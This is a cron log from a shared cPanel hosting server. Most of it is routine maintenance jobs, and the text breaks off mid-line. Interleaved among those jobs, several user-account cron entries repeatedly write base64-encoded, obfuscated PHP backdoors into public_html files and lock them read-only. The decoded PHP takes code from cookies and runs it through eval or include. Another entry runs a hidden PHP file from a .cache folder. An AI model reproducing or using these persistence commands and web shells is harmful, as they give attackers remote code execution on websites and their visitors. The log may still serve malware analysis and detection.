Jun  7 06:00:02 medusa CROND[5454]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 06:00:02 medusa CROND[5437]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:00:02 medusa CROND[5451]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5449]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5445]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5425]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:00:02 medusa CROND[5455]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5442]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:00:02 medusa CROND[5444]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5457]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:00:02 medusa CROND[5458]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 06:01:01 medusa CROND[7549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:01:02 medusa CROND[7560]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:01:02 medusa CROND[7562]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:01:02 medusa CROND[7561]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:01:02 medusa CROND[7563]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:01:02 medusa CROND[7564]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:01:02 medusa CROND[7565]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 06:01:02 medusa CROND[7567]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:01:02 medusa CROND[7568]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:01:02 medusa CROND[7572]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:01:02 medusa CROND[7574]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:01:02 medusa CROND[7580]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:01:02 medusa CROND[7583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:01:02 medusa CROND[7584]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:01:02 medusa run-parts(/etc/cron.hourly)[7565]: starting 0anacron
Jun  7 06:01:02 medusa run-parts(/etc/cron.hourly)[7647]: finished 0anacron
Jun  7 06:02:01 medusa CROND[9338]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:02:01 medusa CROND[9339]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:02:01 medusa CROND[9340]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:02:01 medusa CROND[9342]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:02:01 medusa CROND[9341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:02:01 medusa CROND[9347]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:02:01 medusa CROND[9346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:02:01 medusa CROND[9348]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:02:01 medusa CROND[9349]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:02:01 medusa CROND[9351]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:02:01 medusa CROND[9352]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:02:01 medusa CROND[9353]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:02:01 medusa CROND[9356]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:03:01 medusa CROND[11059]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:03:01 medusa CROND[11061]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:03:01 medusa CROND[11060]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0